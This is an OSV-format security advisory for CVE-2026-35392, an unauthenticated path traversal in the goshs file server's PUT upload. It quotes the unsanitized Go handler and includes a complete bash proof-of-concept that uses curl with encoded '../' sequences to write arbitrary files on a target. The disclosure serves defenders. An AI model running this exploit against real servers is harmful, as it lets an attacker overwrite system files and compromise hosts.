CVE-2026-35392: goshs Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g8mv-vp7j-qp64",
  "modified" : "2026-04-06T23:43:45Z",
  "published" : "2026-04-03T04:07:55Z",
  "aliases" : [ "CVE-2026-35392" ],
  "summary" : "goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload",
  "details" : "### Summary\n* PUT upload has no path sanitization | `httpserver/updown.go:20-69`\n\nThis finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:20-69`\n**Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`)\n\nThe handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.\n\n```go\nfunc (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {\n    upath := req.URL.Path                              // unsanitized\n\n    filename := strings.Split(upath, \"/\")\n    outName := filename[len(filename)-1]\n\n    targetpath := strings.Split(upath, \"/\")\n    targetpath = targetpath[:len(targetpath)-1]\n    target := strings.Join(targetpath, \"/\")\n\n    savepath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, outName)\n    // ...\n    os.Create(savepath)                                // arbitrary path write\n```\n\n`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.\n\n**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Write an arbitrary file on a running goshs instance via PUT.\n#\n# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nLOCAL_FILE=\"${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\nTARGET=\"${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n    echo \"[-] Local file not found: $LOCAL_FILE\"\n    exit 1\nfi\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / from target\nTARGET_REL=\"${TARGET#/}\"\n\nPUT_PATH=\"/${TRAVERSAL}${TARGET_REL}\"\n\necho \"[*] Source:  ${LOCAL_FILE}\"\necho \"[*] Target:  ${TARGET}\"\necho \"[*] PUT:     ${PUT_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    --path-as-is \\\n    -X PUT --data-binary \"@${LOCAL_FILE}\" \\\n    \"http://${HOST}:${PORT}${PUT_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.5-0.20260401172448-237f3af891a9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35392"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickhener/goshs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T04:07:55Z",
    "nvd_published_at" : "2026-04-06T21:16:21Z"
  }
}